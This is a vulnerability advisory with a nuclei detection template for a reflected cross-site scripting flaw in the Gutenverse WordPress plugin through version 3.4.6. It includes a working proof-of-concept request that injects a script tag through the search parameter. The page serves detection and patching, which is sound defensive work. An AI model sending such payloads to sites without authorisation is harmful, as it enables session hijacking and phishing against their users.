Gutenverse Plugin <= 3.4.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.5%likelihood of exploitation, next 30 days

43%of all CVEs are less likely

Readycheck to confirm it

The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in versions up to and including 3.4.6. The issue arises due to insufficient input sanitization and output escaping in the `render_content()` method of `class-search-result-title.php`, which outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()`. This makes it possible for unauthenticated attackers to inject and execute arbitrary web scripts in pages via a crafted URL, provided the `gutenverse/search-result-title` block is present on the site's search results template.

Impact

Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or phishing.

Fix

Update to a version later than 3.4.6 or latest available version.

How to confirm it

Send: GET /?s=<script>alert(1)</script>
Positive when: contains "<script>alert(1)</script>" and "gutenverse" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2026-3001 -u <target>

The full check

id: CVE-2026-3001

info:
  name: Gutenverse Plugin <= 3.4.6 - Cross-Site Scripting
  author: coffeetaro_12
  severity: medium
  description: |
    The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in versions up to and including 3.4.6. The issue arises due to insufficient input sanitization and output escaping in the `render_content()` method of `class-search-result-title.php`, which outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()`. This makes it possible for unauthenticated attackers to inject and execute arbitrary web scripts in pages via a crafted URL, provided the `gutenverse/search-result-title` block is present on the site's search results template.
  impact: |
    Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or phishing.
  remediation: |
    Update to a version later than 3.4.6 or latest available version.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-3001
    - https://wpscan.com/vulnerability/b4d5571b-fcbf-409d-be91-efcfe9a3fa95/
    - https://patchstack.com/database/wordpress/plugin/gutenverse/vulnerability/wordpress-gutenverse-wordpress-blocks-page-builder-site-editor-plugin-3-4-6-reflected-cross-site-scripting-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-3001
    epss-score: 0.005
    epss-percentile: 0.43166
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: jegstudio
    product: gutenverse
    publicwww-query: "/wp-content/plugins/gutenverse/"
  tags: cve,cve2026,xss,wordpress,gutenverse,wp-plugin,wp

http:
  - raw:
      - |
        GET /?s=<script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(1)</script>"
          - "gutenverse"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

    extractors:
      - type: regex
        part: body
        regex:
          - "<span class='search-input-text'><script>alert(1)</script></span>"

References

Use this check only on systems you are authorised to test. Where the data comes from